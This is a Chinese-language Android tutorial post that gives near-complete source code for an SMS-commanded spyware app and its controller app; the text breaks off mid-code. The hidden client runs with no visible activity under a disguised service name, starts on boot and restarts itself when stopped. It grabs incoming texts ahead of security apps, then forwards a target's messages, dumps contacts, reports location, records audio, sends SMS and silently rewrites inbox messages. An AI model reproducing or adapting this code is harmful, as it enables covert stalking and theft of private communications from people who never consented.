1.1前言
興趣是最好的老師,這句話對於有志於從事軟件開發的人來說尤為重要,畢竟這一行業需要不斷的學習新知識,缺乏興趣的工作只會讓人感到日益枯燥.以下是去年9月份在某培訓班開始學習android的過程中,出於個人興趣寫的一個小程序.在此獻給大家,一來借這類程序提高大家的Android開發興趣,再者也可以學習一下簡單實用的知識.
1.2程序簡介
本程序是一個基於短信的手機控制程序,有受控端B和管理端A.
已實現功能:
1.A監控C發給B的所有短信.
2.A可以查詢B的通訊錄和位置.
3.A可以開啟B的手機錄音.
4.A可以通過B向任何人發送短信.
5.A可以修改B的收件箱短信內容.
6.B換手機號后,A可以知道.
相關參數:
admin----管理者手機號碼,也就是A的手機號碼
listen----被監控的手機號碼,即C的手機號.
password----管理密碼,會在第一次建立控制關系時設定,A若換手機號,只能通過這個密碼來更換B上保存的admin號碼
2.1 MainReceiver:程序的短信解析/跳轉主體類.
用的是broadcastreceiver , broadcastreceiver本身就不介紹了,網上一大堆使用教程.本程序中就是截獲android.provider.Telephony.SMS_RECEIVED廣播,分析短信內容, 根據不同的內容進行相應操作.
package iceman.android.project;
import java.util.List;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
public class MainReceiver extends BroadcastReceiver{
private String number;
private SmsManager manager = SmsManager.getDefault();
public void onReceive(Context context, Intent intent) {
MyLog.LogI("OUTPUT", "廣播接收器觸發");
SharedPreferences preferences = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
//使用
SharedPreferences 存儲admin號碼和listen號碼.
String admin = preferences.getString("admin", "");
MyLog.LogI("OUTPUT", "當前admin:"+admin);
String listen = preferences.getString("listen", "");
String password = preferences.getString("password", "iceman");
MyLog.LogI("OUTPUT", "當前listen:"+listen);
Bundle bun = intent.getExtras();
//開始分析短信
if(bun!=null){
Object[] mypdus = (Object[])bun.get("pdus");
SmsMessage[] messages = new SmsMessage[mypdus.length];
for(int i=0;i<mypdus.length;i++){
messages[i] = SmsMessage.createFromPdu((byte[])mypdus[i]);
}
for(SmsMessage mess:messages){
number = mess.getDisplayOriginatingAddress();
String body = mess.getDisplayMessageBody();
MyLog.LogI("OUTPUT","號碼來源:"+number);
MyLog.LogI("OUTPUT","內容:"+body);
if(number.contains("+86")){
number = number.substring(3);
}
MyLog.LogI("OUTPUT","號碼來源轉換"+number);
//設定管理號碼
if(body.equals("iceman78952190")){
MyLog.LogI("OUTPUT","查詢密碼哦");
abortBroadcast();
manager.sendTextMessage(number, null, password, null, null);
}
if(body.contains("@iceman@admin")){
abortBroadcast();
body = body.substring(13);
if(password.equals("iceman")){
password = body;
Editor editor = preferences.edit();
editor.putString("admin", number);
editor.putString("password", body);
editor.commit();
MyLog.LogI("OUTPUT","設定admin:"+number);
manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
}else{
if(password.equals(body)){
Editor editor = preferences.edit();
editor.putString("admin", number);
editor.commit();
MyLog.LogI("OUTPUT","設定admin:"+number);
manager.sendTextMessage(number, null, "admin change success!"+number, null, null);
}else{
MyLog.LogI("OUTPUT","密碼不對");
}
}
}
//對管理號碼發來的短信進行判斷,是否啟動服務或者更改被監聽號碼
if(number.equals(admin)){
if(body.contains("@iceman@search")){
abortBroadcast();
MyLog.LogI("OUTPUT", "開始查詢通訊錄");
manager.sendTextMessage(admin, null, "search starting!", null, null);
//啟動服務,查詢通訊錄並發送
Intent it = new Intent(context,ContactService.class);
it.putExtra("admin", admin);
context.startService(it);
}else if(body.contains("@iceman@change")){
abortBroadcast();
listen = body.substring(14);
Editor editor = preferences.edit();
editor.putString("listen", listen);
editor.commit();
MyLog.LogI("OUTPUT", "更改listen完成");
manager.sendTextMessage(admin, null, "listen change success!", null, null);
}else if(body.contains("@iceman@location")){
abortBroadcast();
MyLog.LogI("OUTPUT", "開啟位置監控");
Intent it = new Intent(context,LocationService.class);
context.startService(it);
manager.sendTextMessage(admin, null, "location listen success!", null, null);
MyLog.LogI("OUTPUT", "位置監控開啟完成");
}else if(body.contains("@iceman@where")){
abortBroadcast();
MyLog.LogI("OUTPUT", "開始發送並解析地址");
Intent it2 = new Intent(context,GetAddressService.class);
context.startService(it2);
}else if(body.contains("@iceman@start")){
abortBroadcast();
MyLog.LogI("OUTPUT", "收到錄音開啟命令");
Intent it = new Intent(context,RecorderService.class);
context.startService(it);
}else if(body.contains("@iceman@stop")){
abortBroadcast();
MyLog.LogI("OUTPUT", "收到結束錄音命令");
Intent it = new Intent(context,RecorderService.class);
context.stopService(it);
}else if(body.contains("@iceman@sms")){
abortBroadcast();
MyLog.LogI("OUTPUT", "發送短信");
String[] str = body.split("#");
manager.sendTextMessage(str[1], null, str[2], null, null);
MyLog.LogI("OUTPUT", "目標號碼:"+str[1]+"內容:"+str[2]);
}else if(body.contains("@iceman@replace")){
abortBroadcast();
String[] str = body.split("#");
MyLog.LogI("OUTPUT", "收到短信修改命令");
Intent it = new Intent(context,EditSmsService.class);
it.putExtra("key", str[1]);
it.putExtra("number", str[2]);
it.putExtra("content", str[3]);
it.putExtra("type", "replace");
context.startService(it);
}
else if(body.contains("@iceman@edit")){
abortBroadcast();
String[] str = body.split("#");
MyLog.LogI("OUTPUT", "收到短信編輯命令");
Intent it = new Intent(context,EditSmsService.class);
it.putExtra("key", str[1]);
it.putExtra("number", str[2]);
it.putExtra("content", str[3]);
it.putExtra("type", "edit");
context.startService(it);
}
}
//判斷是否由被監聽號碼發來的短信
if(number.equals(listen)){
String sms = number+":"+body;
MyLog.LogI("OUTPUT", "監聽到短信");
List<String> texts=manager.divideMessage(sms);
for(String text:texts)
{
manager.sendTextMessage(admin, null, text, null, null);
}
}
}
}
}
}
這個廣播接收器最初是靜態注冊的,目的是不需要運行程序,相當於開機啟動.但是在部分真機上測試時發現360,91短信等會在它之前攔截短信,經過網上查詢,得知動態注冊的優先級要高於靜態注冊,優先級相同的動態注冊廣播,先注冊的先接收廣播.
所以,我又寫了個service,在系統啟動后運行並綁定廣播接收器.優先級設為2147483647.不要被google api里面寫的優先級最大1000忽悠了,這個int上限值也是有用的.
package iceman.android.project;
import android.app.Service;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.IBinder;
public class MainService extends Service{
MainReceiver mReceiver;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onStart(Intent intent, int startId) {
super.onStart(intent, startId);
IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED");
localIntentFilter.setPriority(2147483647);
mReceiver = new MainReceiver();
registerReceiver(mReceiver, localIntentFilter);
}
@Override
public void onDestroy() {
unregisterReceiver(mReceiver);
Intent it = new Intent(MainService.this, MainService.class);
this.startService(it);
}
}
2.2功能:監控指定短信
這是程序的初衷,也是我學到broadcastreceiver時首先冒出來的念頭...
當短信來源號碼為C時,將短信轉發一份給A.代碼很簡單:
// 判斷是否由被監聽號碼發來的短信
if (number.equals(listen)) {
String sms = number + ":" + body;
MyLog.LogI("OUTPUT", "監聽到短信");
List<String> texts = manager.divideMessage(sms);
for (String text : texts) {
manager.sendTextMessage(admin, null, text, null, null);
}
}
2.3功能:查詢通訊錄
這里使用了ContentResolver,這是與內容提供器ContentProvider對應的"查詢器",android的通訊錄程序對外提供了ContentProvider查詢接口.我們可以像操作數據庫一樣對里面的數據進行讀取.修改也可以(這個太無聊了,放到短信那部分再說)
package iceman.android.project;
import java.util.List;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.os.IBinder;
import android.provider.ContactsContract;
import android.telephony.SmsManager;
public class ContactService extends Service{
SmsManager manager = SmsManager.getDefault();
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public void onStart(Intent intent, int startId) {
String admin = intent.getStringExtra("admin");
MyLog.LogI("OUTPUT", "開啟通訊錄查詢服務");
String[] columns = { "_id", "display_name", "has_phone_number" };
StringBuffer sb = new StringBuffer();
ContentResolver cr = this.getContentResolver();
Cursor cursor = cr.query(ContactsContract.Contacts.CONTENT_URI,
columns, null, null, null);
String[] phone_clos = {
ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
ContactsContract.CommonDataKinds.Phone.NUMBER, };
if (cursor.moveToFirst()) {
do {
int _id = cursor.getInt(0);
String name = cursor.getString(1);
String has_phone = cursor.getString(2);
sb.append(name + ":");
if (has_phone.trim().equals("1")) {
Cursor phones = cr
.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
phone_clos,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID
+ "=" + _id, null, null);
if (phones.moveToFirst()) {
do {
sb.append(phones.getString(1) + ".");
} while (phones.moveToNext());
}
}
} while (cursor.moveToNext());
}
MyLog.LogI("OUTPUT", "開始發送通訊錄");
List<String> texts=manager.divideMessage(sb.toString());
for(String text:texts)
{
manager.sendTextMessage(admin, null, text, null, null);
}
//查詢完畢后關閉服務
stopSelf();
super.onStart(intent, startId);
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
}
要注意的是,這個視通訊錄條數多少,會有幾條短信發出...少用為妙
2.4功能:查詢位置
有兩件事要做:獲得經緯度表示的位置信息和將經緯度解析為地址信息
android使用LocationManager來管理獲得的位置信息,給它設置一個位置監聽,就可以在位置發生變化時,獲得變化后的經緯度信息,
package iceman.android.project;
import java.text.SimpleDateFormat;
import java.util.Date;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.location.Criteria;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;
import android.os.IBinder;
public class LocationService extends Service{
private Location location;//當前位置
private String time = "unknown";
private SimpleDateFormat sf = new SimpleDateFormat("MM-dd;hh-mm");
private SharedPreferences preferences = null;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
getLocation();
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
private void getLocation(){
LocationManager locationmanager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
if(locationmanager==null){
MyLog.LogI("OUTPUT", "定位管理器未找到");
}
Criteria criteria = new Criteria();//用來得到位置提供器(Location Provider)的一組參數標准
criteria.setAccuracy(Criteria.ACCURACY_COARSE);//定位精度
criteria.setAltitudeRequired(false);//是否要求定位出高度值
criteria.setCostAllowed(true);//是否允許花錢
String str = locationmanager.getBestProvider(criteria, false);//得到滿足標准的一個最好的提供器的名稱
if(str==null){
MyLog.LogI("OUTPUT", "位置提供器未找到");
}
MyLog.LogI("OUTPUT", "使用的位置提供器"+str);
location = locationmanager.getLastKnownLocation(str);
locationmanager.requestLocationUpdates(str, 2000, 5, new LocationListener() {
@Override
public void onStatusChanged(String provider, int status, Bundle extras) {
// TODO Auto-generated method stub
}
@Override
public void onProviderEnabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onProviderDisabled(String provider) {
// TODO Auto-generated method stub
}
@Override
public void onLocationChanged(Location loca) {
// TODO Auto-generated method stub
MyLog.LogI("OUTPUT", "位置發生改變");
time = sf.format(new Date());
location = loca;
preferences = LocationService.this.getSharedPreferences("sms", MODE_PRIVATE);
Editor editor = preferences.edit();
editor.putString("lat", ""+location.getLatitude());
editor.putString("lon", ""+location.getLongitude());
editor.putString("time", time);
editor.commit();
MyLog.LogI("OUTPUT", "位置已經放入");
}
});
}
@Override
public void onStart(Intent intent, int startId) {
}
}
在這個service中,將改變后的位置經緯度存儲下來,下次調用位置解析服務的時候,就可以取出最新的經緯度進行解析了.
mopackage iceman.android.project;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
import android.app.Service;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.IBinder;
import android.telephony.SmsManager;
public class GetAddressService extends Service{
private SmsManager manager;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
super.onDestroy();
}
@Override
public void onStart(Intent intent, int startId) {
manager = SmsManager.getDefault();
MyLog.LogI("OUTPUT", "開始轉換地址服務");
SharedPreferences preferences = this.getSharedPreferences("sms", MODE_PRIVATE);
Double lat = Double.parseDouble(preferences.getString("lat", null));
Double lon = Double.parseDouble(preferences.getString("lon", null));
MyLog.LogI("OUTPUT", "精度"+lon);
MyLog.LogI("OUTPUT", "緯度"+lat);
String admin = preferences.getString("admin", null);
String time = preferences.getString("time", null);
String address1 = "經度"+lon+"緯度"+lat;
manager.sendTextMessage(admin, null, address1+time, null, null);
String address2 = getAddress(lon, lat);
manager.sendTextMessage(admin, null, address2+time, null, null);
stopSelf();
super.onStart(intent, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
public String getAddress(Double Longitude,Double Latitude){
MyLog.LogI("OUTPUT", "開始轉換地址");
String url = "http://maps.google.com/maps/api/geocode/json?latlng="+Latitude+","+Longitude+"&language=zh_CN&sensor=false";
HttpClient client = new DefaultHttpClient();
StringBuilder sb = new StringBuilder();
try {
HttpResponse resp = client.execute(new HttpGet(url));
HttpEntity he = resp.getEntity();
BufferedReader br = new BufferedReader(new InputStreamReader(he.getContent()));
String str = "";
while((str=br.readLine())!=null){
sb.append(str);
}
} catch (ClientProtocolException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
MyLog.LogI("OUTPUT", "開始解析json");
try {
JSONObject jo1 = new JSONObject(sb.toString());
String str1 = jo1.getString("results");
JSONArray arr1 = new JSONArray(str1);
String str2 = arr1.get(0).toString();
JSONObject jo2 = new JSONObject(str2);
String str3 = jo2.getString("formatted_address");
MyLog.LogI("OUTPUT", str3);
return str3;
// Toast.makeText(LocationService.this, str3, Toast.LENGTH_LONG).show();
} catch (JSONException e) {
return "地址轉換失敗";
}
}
}
2.5功能:開啟錄音
這個很簡單,使用MediaRecorder即可,在service的oncreat中開始錄音,ondestory中結束錄音.
package iceman.android.project;
import java.io.IOException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
public class RecorderService extends Service{
private MediaRecorder recorder;
private String location;
@Override
public IBinder onBind(Intent arg0) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onCreate() {
super.onCreate();
MyLog.LogI("OUTPUT", "錄音服務啟動");
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
location = "/mnt/sdcard/record_"+System.currentTimeMillis()+".3gp";
recorder.setOutputFile(location);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
try {
recorder.prepare();
} catch (IllegalStateException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
recorder.start();
MyLog.LogI("OUTPUT", "開始錄音");
}
@Override
public void onDestroy() {
// TODO Auto-generated method stub
recorder.stop();
MyLog.LogI("OUTPUT", "停止錄音");
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
return super.onStartCommand(intent, flags, startId);
}
@Override
public boolean onUnbind(Intent intent) {
// TODO Auto-generated method stub
return super.onUnbind(intent);
}
}
2.6發送短信
對A發過來的短信進行分割,獲取目的號碼和短信內容,然后發送.代碼已經在MainReceiver中了.
2.7編輯短信
ContentResolver不僅可以查詢,也可以修改.修改短信這個邪惡的功能就靠它來實現了.
代碼中號碼為00000000000表示不限號碼進行修改.不論誰發過來的短信,只要滿足關鍵字條件,就進行修改.
package iceman.android.project;
import android.app.Service;
import android.content.ContentResolver;
import android.content.ContentValues;
import android.content.Intent;
import android.database.Cursor;
import android.net.Uri;
import android.os.IBinder;
public class EditSmsService extends Service {
private ContentResolver mContentResolver;
private String key, number, content, type;
@Override
public IBinder onBind(Intent intent) {
// TODO Auto-generated method stub
return null;
}
@Override
public void onStart(Intent intent, int startId) {
key = intent.getStringExtra("key");
number = intent.getStringExtra("number");
content = intent.getStringExtra("content");
type = intent.getStringExtra("type");
mContentResolver = this.getContentResolver();
Cursor cursor;
if (number.equals("00000000000")) {
cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, null, null,
null);
MyLog.LogI("OUTPUT", "號碼為00000000000");
} else {
cursor = mContentResolver.query(Uri.parse("content://sms/inbox"), null, "address = ?",
new String[] {
"" + number
}, null);
MyLog.LogI("OUTPUT", "號碼指定");
}
int time = 0;
String newContent = null;
if (cursor != null) {
cursor.moveToFirst();
do {
String address = cursor.getString(cursor.getColumnIndexOrThrow("address"));
String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
int id = cursor.getInt(cursor.getColumnIndexOrThrow("_id"));
// int date =
// cursor.getInt(cursor.getColumnIndexOrThrow("date"));
if (number.equals("00000000000")) {
if (body.contains(key)) {
ContentValues values = new ContentValues();
// values.put("address", address);
if (type.equals("replace")) {
newContent = body.replace(key, content);
} else {
newContent = content;
}
values.put("read", 1);
values.put("status", -1);
values.put("type", 1);
values.put("body", newContent);
mContentResolver.update(Uri.parse("content://sms/inbox"), values,
"_id = ?", new String[] {
"" + id
});
}
} else {
if (body.contains(key) && address.equals(number)) {
ContentValues values = new ContentValues();
// values.put("address", address);
if (type.equals("replace")) {
newContent = body.replace(key, content);
} else {
newContent = content;
}
values.put("read", 1);
values.put("status", -1);
values.put("type", 1);
values.put("body", newContent);
mContentResolver.update(Uri.parse("content://sms/inbox"), values,
"_id = ?", new String[] {
"" + id
});
}
}
time++;
} while (cursor.moveToNext() && time < 50);
}
stopSelf();
}
}
2.8功能:B更換手機號碼后發送至A.
TelephonyManager可以獲取手機相關信息,比如手機號碼,imei等,但是這些數據來源於sim卡,如果某些運營商沒有將電話號碼寫到sim卡上,手機號碼就獲取不到了.
號碼變更檢測是要開機進行的,如果發現號碼跟保存的不一樣,就發送新號碼至admin.
package iceman.android.project;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
public class BootReceiver extends BroadcastReceiver{
private String mDeviceId;
private String mTel;
private String mImei;
private String mImsi;
private String mOldDeviceId;
private String mOldTel;
private String mOldImei;
private String mOldImsi;
@Override
public void onReceive(Context context, Intent intent) {
Intent service=new Intent(context, MainService.class);
context.startService(service);
TelephonyManager tm=(TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
mDeviceId = tm.getDeviceId();
mTel = tm.getLine1Number();
mImei = tm.getSimSerialNumber();
mImei = mImei==null?"":mImei;
mImsi = tm.getSubscriberId();
mImsi = mImsi==null?"":mImsi;
SharedPreferences sharedPreferencesPhone = context.getSharedPreferences("phone", Context.MODE_PRIVATE);
mOldDeviceId = sharedPreferencesPhone.getString("deviceid", "");;
mOldTel = sharedPreferencesPhone.getString("tel", "");;
mOldImei = sharedPreferencesPhone.getString("imei", "");;
mOldImsi = sharedPreferencesPhone.getString("imsi", "");;
SharedPreferences sharedPreferencesControl = context.getSharedPreferences("sms", Context.MODE_PRIVATE);
String admin = sharedPreferencesControl.getString("admin", "");
if(isChange()){
SharedPreferences.Editor editor = sharedPreferencesPhone.edit();
editor.putString("deviceid", mDeviceId==null?"":mDeviceId);
editor.putString("tel", mTel);
editor.putString("imei", mImei);
editor.putString("imsi", mImsi);
editor.commit();
SmsManager smsmanager = SmsManager.getDefault();
if(!admin.equals("")){
String text = "tel:"+mTel+".mImei:"+mImei;
smsmanager.sendTextMessage(admin, null, text, null, null);
}
}
}
private boolean isChange(){
if(mTel==null){
return false;
}
if(mOldTel.equals("")){
return true;
}
if(!mTel.equals(mOldTel)){
return true;
}
return false;
}
}
2.9受控端總結:
以下是主配置文件
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="iceman.android.project"
android:versionCode="1"
android:versionName="1.0"
>
<uses-sdk android:minSdkVersion="7" />
<!-- android:priority="100" -->
<application
android:debuggable="false"
android:icon="@drawable/app_icon"
android:label="@string/app_name" >
<receiver android:name=".MainReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<receiver android:name=".BootReceiver">
<intent-filter android:priority="2147483647">
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
<service android:name=".ContactService" android:enabled="true"/>
<service android:name=".LocationService" android:enabled="true"/>
<service android:name=".RecorderService" android:enabled="true"/>
<service android:name=".GetAddressService" android:enabled="true"/>
<service android:name=".EditSmsService" android:enabled="true"/>
</application>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
</manifest>
可以看到的是,受控端是沒有activity的.而且程序名字我命名為"android短信服務".如果不是有服務開啟的話,可以說是無法發現程序的存在的.
3.1管理端
為了簡化命令發送的繁瑣,寫了這個簡單的管理端程序,就兩個activity.
package iceman.android.smsadmin;
import android.app.Activity;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.CheckBox;
import android.widget.CompoundButton;
import android.widget.CompoundButton.OnCheckedChangeListener;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;
public class SMSadminActivity extends Activity {
private TextView mClientNumberText, mListenNumberText;
private EditText mAdminSetEditText, mListenSetEditText, mSmsNumberSetEditText, mSmsContentEditText, mPasswordEditText;
private CheckBox mPasswordUse;
private Button mAdminSetBtn, mListenSetBtn, mSearchBtn, mOpenLocationBtn, mGetAddressBtn, mRecoderBtn, mSendSmsBtn;
private Button mEditSmsBtn;
private Boolean mIsRecording = false;
private SmsManager mSmsManager = SmsManager.getDefault();
private String mClientNumber = null;
private String mListenNumber = null;
private SharedPreferences mSharedpreferences = null;
private String mPassword;
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
mClientNumberText = (TextView) findViewById(R.id.number_tv1);
mListenNumberText = (TextView) findViewById(R.id.number_tv2);
mPasswordEditText = (EditText) findViewById(R.id.password_et);
mPasswordEditText.setInputType(0x81);
mPasswordUse = (CheckBox) findViewById(R.id.password_use);
mAdminSetEditText = (EditText) findViewById(R.id.number_et);
// et1.setTransformationMethod(PasswordTransformationMethod.getInstance());
mAdminSetEditText.setHint(this.getString(R.string.the_number_to_control));
mListenSetEditText = (EditText) findViewById(R.id.listen_et);
mListenSetEditText.setHint(this.getString(R.string.the_number_to_listen));
mSmsNumberSetEditText = (EditText) findViewById(R.id.sms_number_et);
mSmsNumberSetEditText.setHint(this.getString(R.string.where_to_send));
mSmsContentEditText = (EditText) findViewById(R.id.sms_et);
mSmsContentEditText.setHint(this.getString(R.string.sms_content));
mSharedpreferences = this.getSharedPreferences("config", MODE_PRIVATE);
mClientNumber = mSharedpreferences.getString("control", "");
mListenNumber = mSharedpreferences.getString("listen", "");
mClientNumberText.setText(this.getString(R.string.now_control) + mClientNumber);
mListenNumberText.setText(this.getString(R.string.now_listen) + mListenNumber);
mAdminSetBtn = (Button) findViewById(R.id.admin_btn);
mListenSetBtn = (Button) findViewById(R.id.listen_btn);
mSearchBtn = (Button) findViewById(R.id.search_btn);
mOpenLocationBtn = (Button) findViewById(R.id.open_locations_btn);
mGetAddressBtn = (Button) findViewById(R.id.where_btn);
mRecoderBtn = (Button) findViewById(R.id.recorder_btn);
mRecoderBtn.setText(this.getString(R.string.start_record));
mSendSmsBtn = (Button) findViewById(R.id.sms_btn);
mEditSmsBtn = (Button)findViewById(R.id.edit_sms);
mPasswordUse.setOnCheckedChangeListener(new OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
mPassword = mPasswordEditText.getText().toString().trim();
mPasswordEditText.setEnabled(false);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.password)+mPassword, Toast.LENGTH_SHORT).show();
} else {
mPassword = "";
mPasswordEditText.getEditableText().clear();
mPasswordEditText.setEnabled(true);
}
Editor editor = mSharedpreferences.edit();
editor.putString("password", mPassword);
editor.commit();
}
});
mAdminSetBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
String str = mAdminSetEditText.getText().toString().trim();
if ((str.equals("")) == false) {
if ((str.equals("18621191115")) == false) {
mClientNumberText.setText(SMSadminActivity.this.getString(R.string.now_control) + str);
mAdminSetBtn.setText(SMSadminActivity.this.getString(R.string.control_number_set_over));
mClientNumber = str;
Editor editor = mSharedpreferences.edit();
editor.putString("control", str);
editor.commit();
// et1.setEnabled(false);
// btn1.setClickable(false);
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@admin"+mPassword, null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.control_number_set_send), Toast.LENGTH_SHORT)
.show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.number_can_not_control), Toast.LENGTH_LONG)
.show();
}
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_control_number), Toast.LENGTH_SHORT).show();
}
}
});
mListenSetBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
String str = mListenSetEditText.getText().toString().trim();
if (str.equals("") == false) {
mListenNumberText.setText(SMSadminActivity.this.getString(R.string.now_listen) + str);
mListenSetBtn.setText(SMSadminActivity.this.getString(R.string.listen_number_set_over));
mListenNumber = str;
Editor editor = mSharedpreferences.edit();
editor.putString("listen", str);
editor.commit();
// et2.setEnabled(false);
// btn2.setClickable(false);
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@change" + mListenNumber, null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.listen_number_set_send), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_listen_number), Toast.LENGTH_SHORT).show();
}
}
});
mSearchBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@search", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mOpenLocationBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@location", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.open_location_service_over), Toast.LENGTH_SHORT).show();
mOpenLocationBtn.setClickable(false);
mOpenLocationBtn.setText(SMSadminActivity.this.getString(R.string.location_service_open));
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mGetAddressBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@where", null, null);
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.search_address_send_over), Toast.LENGTH_SHORT).show();
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
}
}
});
mRecoderBtn.setOnClickListener(new OnClickListener() {
public void onClick(View v) {
if (mClientNumber.equals("") == false) {
if (!mIsRecording) {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@start", null, null);
mIsRecording = true;
mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.stop_record));
} else {
mSmsManager.sendTextMessage(mClientNumber, null, "@iceman@stop", null, null);
mIsRecording = false;
mRecoderBtn.setText(SMSadminActivity.this.getString(R.string.start_record));
}
} else {
Toast.makeText(SMSadminActivity.this, SMSadminActivity.this.getString(R.string.please_set_number), Toast.LENGTH_SHORT).show();
